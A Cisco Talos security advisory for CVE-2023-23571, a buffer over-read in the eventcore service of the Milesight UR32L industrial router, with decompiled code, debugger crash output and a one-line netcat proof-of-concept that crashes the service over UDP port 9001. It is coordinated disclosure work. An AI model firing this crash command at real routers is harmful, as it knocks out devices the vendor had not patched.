CVE-2023-23571
An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Milesight UR32L v32.3.0.5
UR32L - https://www.milesight-iot.com/cellular/router/ur32l/
7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-126 - Buffer Over-read
The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.
The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore
.
The eventcore
binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information.
Following the recv_data_thread
function that manages the reception of the data:
undefined4 recv_data_thread(int *socket)
{
[... variable declaration ...]
[... variable initialization ...]
memset(chunk_buff + 4,0,0x1fc);
[... variable initialization ...]
if (socket == (int *)0x0) {
syslog(3,"param is null\n");
}
else {
socket_ = *socket;
if (socket_ < 1) {
syslog(3,"udp fd less than 0.\n");
}
else {
message = (char *)malloc_and_memset(0x800);
if (message != (char *)0x0) {
memset(message,0,0x800);
do {
while( true ) {
memset(chunk_buff,0,0x200);
message_strlen = strlen(message);
recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr); [1]
if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen); [2]
}
[...]
}
}
[...]
}
The function executes a loop where it received at most 0x1ff bytes into the chunk_buff
buffer, then the content of the chunk_buff
is appended into the message
buffer.
The chunk_buff
buffer is correctly sized with 512 bytes available, so the read at [1]
is correct. At [2]
the memcpy
copies the size 0x800 - message_strlen
from chunk_buff
into message
. So, the first memcpy
will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff
is close to end of the stack and a buffer over-read will cause a SIGSEGV.
Debugging the process, it is easy to understand this problem:
memcpy@plt (
$r0 = 0x00043730 → 0x00000000,
$r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",
$r2 = 0x00000800,
) The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is `0x76de4b0c`. Following the thread stack region and the region adjacent:
0x76bf0000 0x76de5000 0x00000000 rw-
0x76de5000 0x76de6000 0x00000000 ---
The bytes between chunk_buff
, at 0x76de4b0c
, and the end of thread’s stack region, at 0x76de5000
, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff
implies it will try to access outside the stack region.
Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
──── registers ────
$r0 : 0x76ef2a20 → 0x00000000
$r1 : 0x76d67ffc → 0x00000000
$r2 : 0x2f0
$r3 : 0x10
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0x76d67ac8 → 0x76f417ac → ldr r3, [r0, #140] ; 0x8c
$lr : 0x00012e7c → 0xea000034 ("4"?)
$pc : 0x76f3d540 → <memcpy+140> ldm r1!, {r4, r5, r6, r7, r8, r9, r10, r11}
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
──── stack ────
0x76d67ac8│+0x0000: 0x76f417ac → ldr r3, [r0, #140] ; 0x8c ← $sp
0x76d67acc│+0x0004: 0x76d67d44 → 0x76d67d44 → [loop detected]
0x76d67ad0│+0x0008: 0x00000078 ("x"?)
0x76d67ad4│+0x000c: 0x7eac7d34 → 0x00000000
0x76d67ad8│+0x0010: 0x76f68540 → 0x00000000
0x76d67adc│+0x0014: 0x76d67d44 → 0x76d67d44 → [loop detected]
0x76d67ae0│+0x0018: 0x76d67d24 → 0x76f41830 → bl 0x76f41628 <pthread_exit>
0x76d67ae4│+0x001c: 0x76ef2530 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
──── code:arm:ARM ────
0x76f3d534 <memcpy+128> sub r2, r2, r3
0x76f3d538 <memcpy+132> subs r2, r2, #32
0x76f3d53c <memcpy+136> bcc 0x76f3d554 <memcpy+160>
→ 0x76f3d540 <memcpy+140> ldm r1!, {r4, r5, r6, r7, r8, r9, r10, r11}
0x76f3d544 <memcpy+144> subs r2, r2, #32
0x76f3d548 <memcpy+148> stmia r0!, {r4, r5, r6, r7, r8, r9, r10, r11}
0x76f3d54c <memcpy+152> bcs 0x76f3d540 <memcpy+140>
0x76f3d550 <memcpy+156> add r2, r2, #32
0x76f3d554 <memcpy+160> tst r2, #31
──── threads ────
[#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
──── trace ────
[#0] 0x76f3d540 → memcpy()
[#1] 0x12e7c → b 0x12f54
Executing the following bash command will result in the crash of the eventcore
binary:
echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html
2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.